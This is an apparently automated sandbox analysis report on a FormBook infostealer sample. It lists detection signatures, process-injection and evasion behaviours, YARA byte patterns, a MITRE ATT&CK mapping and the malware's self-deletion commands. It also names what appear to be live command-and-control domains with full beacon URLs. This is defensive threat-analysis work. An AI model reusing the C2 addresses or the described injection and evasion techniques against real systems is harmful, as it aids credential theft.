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System Behavior
Analysis Process: oqTdpbN5rF.exe PID: 796 Parent PID: 5996

General
File Activities

File Read

Analysis Process: RegAsm.exe PID: 684 Parent PID: 796
General
File Activities

File Read

Analysis Process: cmd.exe PID: 816 Parent PID: 796
General
File Activities

File Deleted

Analysis Process: conhost.exe PID: 1320 Parent PID: 816
General

Analysis Process: explorer.exe PID: 3424 Parent PID: 684
General
File Activities

Analysis Process: choice.exe PID: 6780 Parent PID: 816
General
File Activities

Analysis Process: oqTdpbN5rF.exe PID: 6300 Parent PID: 796
General
File Activities

File Read

Analysis Process: RegAsm.exe PID: 6668 Parent PID: 6300
General
File Activities

File Read

Analysis Process: cmd.exe PID: 7096 Parent PID: 6300
General
File Activities

File Deleted

Analysis Process: conhost.exe PID: 7116 Parent PID: 7096
General

Analysis Process: choice.exe PID: 1744 Parent PID: 7096
General
File Activities
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General
File Activities

File Read
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General
File Activities

File Read

Analysis Process: cmd.exe PID: 6120 Parent PID: 1664
General
File Activities

Analysis Process: conhost.exe PID: 7048 Parent PID: 6120
General

Disassembly
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Analysis Report oqTdpbN5rF.exe

Overview

General Information

Sample 
Name:

oqTdpbN5rF.exe

Analysis ID: 321100

MD5: 429bba6dbe159c…

SHA1: f79f58bc3142b59…

SHA256: 04274b027d3bd0…

Tags: exe Formbook

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for subAntivirus / Scanner detection for sub……

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Uses netstat to query active network

Uses netstat to query active network

Uses netstat to query active network

Uses netstat to query active network

Uses netstat to query active network

Uses netstat to query active network

Uses netstat to query active networkUses netstat to query active network……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communicaContains functionality to communica……

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a prContains functionality to launch a pr……

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query localeContains functionality to query locale……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may beContains functionality which may be……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

oqTdpbN5rF.exe (PID: 796 cmdline: 'C:\Users\user\Desktop\oqTdpbN5rF.exe'  MD5: 429BBA6DBE159C300679509BE3085665)

RegAsm.exe (PID: 684 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe MD5: 6FD7592411112729BF6B1F2F6C34899F)

explorer.exe (PID: 3424 cmdline:  MD5: AD5296B280E8F522A8A897C96BAB0E1D)

NETSTAT.EXE (PID: 1664 cmdline: C:\Windows\SysWOW64\NETSTAT.EXE MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)

cmd.exe (PID: 6120 cmdline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5656 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 816 cmdline: 'C:\Windows\System32\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del 'C:\Users\user\Desktop\oqTdpbN5rF.exe' MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

choice.exe (PID: 6780 cmdline: choice /C Y /N /D Y /T 3  MD5: 626F7BE965216FEAC7A3C0B4D3751BA2)

oqTdpbN5rF.exe (PID: 6300 cmdline: 'C:\Users\user\Desktop\oqTdpbN5rF.exe'  MD5: 429BBA6DBE159C300679509BE3085665)

RegAsm.exe (PID: 6668 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe MD5: 6FD7592411112729BF6B1F2F6C34899F)

cmd.exe (PID: 7096 cmdline: 'C:\Windows\System32\cmd.exe' /C choice /C Y /N /D Y /T 3 & Del 'C:\Users\user\Desktop\oqTdpbN5rF.exe' MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

choice.exe (PID: 1744 cmdline: choice /C Y /N /D Y /T 3  MD5: 626F7BE965216FEAC7A3C0B4D3751BA2)

cleanup

No configs have been found

Source Rule Description Author Strings

00000007.00000003.714696172.0000000005512000.00000
004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Startup

Yara Overview

Memory Dumps

Copyright null 2020 Page 5 of 32



00000007.00000003.714696172.0000000005512000.00000
004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0xc488:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xc6f2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x18215:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x17d01:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x18317:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1848f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xd10a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x16f7c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xde03:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1deb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1eeba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000007.00000003.714696172.0000000005512000.00000
004.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x1af99:$sqlite3step: 68 34 1C 7B E1
0x1b0ac:$sqlite3step: 68 34 1C 7B E1
0x1afc8:$sqlite3text: 68 38 2A 90 C5
0x1b0ed:$sqlite3text: 68 38 2A 90 C5
0x1afdb:$sqlite3blob: 68 53 D8 7F 8C
0x1b103:$sqlite3blob: 68 53 D8 7F 8C

00000007.00000003.713983780.0000000005512000.00000
004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000007.00000003.713983780.0000000005512000.00000
004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0xc488:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xc6f2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x18215:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x17d01:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x18317:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1848f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xd10a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x16f7c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xde03:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1deb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1eeba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 46 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

2.2.RegAsm.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

2.2.RegAsm.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

2.2.RegAsm.exe.400000.0.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

9.2.RegAsm.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

9.2.RegAsm.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 13 entries

Unpacked PEs

Copyright null 2020 Page 6 of 32



Sigma Overview

No Sigma rule has matched

Signature Overview

• AV Detection

• Spreading

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for sample

Networking:

Uses netstat to query active network connections and open ports

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

Copyright null 2020 Page 7 of 32



System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts 1

Shared
Modules 1

DLL Side-
Loading 1

DLL Side-
Loading 1

Disable or Modify
Tools 1

Credential
API
Hooking 1

System Time
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer 1

Default
Accounts

Scheduled
Task/Job

Valid
Accounts 1

Valid
Accounts 1

Deobfuscate/Decode
Files or Information 1

LSASS
Memory

System Network
Connections
Discovery 1

Remote
Desktop
Protocol

Credential
API
Hooking 1

Exfiltration Over
Bluetooth

Encrypted
Channel 1

Domain
Accounts

At (Linux) Logon Script
(Windows)

Access Token
Manipulation 1

Obfuscated Files or
Information 4

Security
Account
Manager

File and Directory
Discovery 2

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated Exfiltration Non-
Application
Layer
Protocol 2

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Process
Injection 6 1 2

Software Packing 3 NTDS System Information
Discovery 1 2 4

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Application
Layer
Protocol 2

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script
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Behavior Graph
ID: 321100

Sample: oqTdpbN5rF.exe

Startdate: 20/11/2020

Architecture: WINDOWS

Score: 100

www.iqftomatoes.com

Malicious sample detected
(through community Yara

rule)

Antivirus / Scanner
detection for submitted

sample

Multi AV Scanner detection
for submitted file 4 other signatures

oqTdpbN5rF.exe

1

        started       

Writes to foreign memory
regions

Maps a DLL or memory
area into another process

RegAsm.exe

        started       

oqTdpbN5rF.exe

1

        started       

cmd.exe

1

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected Writes to foreign memory
regions

RegAsm.exe

        started       

cmd.exe

1

        started       Tries to detect virtualization
through RDTSC time measurements

conhost.exe

        started       

choice.exe

1

        started       

www.bikininbodymommy.com

81.17.18.197, 49758, 80

PLI-ASCH

Switzerland

www.buyiprod.com

104.252.192.7, 49766, 80

EGIHOSTINGUS

United States

www.camera-kento.com

System process connects
to network (likely due
to code injection or

exploit)

NETSTAT.EXE

        started       

cmd.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

conhost.exe

        started       

choice.exe

1

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

oqTdpbN5rF.exe 36% Virustotal Browse

oqTdpbN5rF.exe 33% ReversingLabs Win32.Trojan.Wacatac

oqTdpbN5rF.exe 100% Avira TR/AD.Swotter.sxyuz

oqTdpbN5rF.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

2.2.RegAsm.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

7.2.oqTdpbN5rF.exe.62d0000.3.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

9.2.RegAsm.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

www.buyiprod.com 0% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains
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Source Detection Scanner Label Link

www.buyiprod.com/kgw/?
NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=F7U1ZxCjw0QXGNF8VmzdEObB3hNcDi5za+FuEorWYUt6zFjVN/
aD/y1X6yN+u1VrnSag

0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.bikininbodymommy.com/kgw/?
NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=nwMujlop9k/e7RKxDV6F2DOpfZu+NAvKA+XHz2bBew91D/bKU35
KPyupQFDW23mxRXA2

0% Avira URL Cloud safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.%s.comPA 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

URLs

Domains and IPs
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Name IP Active Malicious Antivirus Detection Reputation

www.iqftomatoes.com 52.58.78.16 true false unknown

www.bikininbodymommy.com 81.17.18.197 true true unknown

www.buyiprod.com 104.252.192.7 true true 0%, Virustotal, Browse unknown

www.camera-kento.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.buyiprod.com/kgw/?
NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=F7U1ZxCjw0QXGNF8VmzdEObB3hNcDi5za+FuEorWY
Ut6zFjVN/aD/y1X6yN+u1VrnSag

true Avira URL Cloud: safe unknown

www.bikininbodymommy.com/kgw/?
NTlTsb=o2J8lThHmJUlqtc0&0V0hlT=nwMujlop9k/e7RKxDV6F2DOpfZu+NAvKA+XHz2bBew9
1D/bKU35KPyupQFDW23mxRXA2

true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

www.apache.org/licenses/LICENSE-2.0 explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.fontbureau.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.fontbureau.com/designersG explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.fontbureau.com/designers/? explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.founder.com.cn/cn/bThe explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers? explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.tiro.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.goodfont.co.kr explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.carterandcone.coml explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sajatypeworks.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.typography.netD explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers/cabarga.htmlN explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

www.founder.com.cn/cn/cThe explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/staff/dennis.htm explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

fontfabrik.com explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cn explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers/frere-user.html explorer.exe, 00000005.0000000
0.710214962.000000000B976000.0
0000002.00000001.sdmp

false high

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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General Information

www.jiyu-kobo.co.jp/ explorer.exe, 00000005.0000000
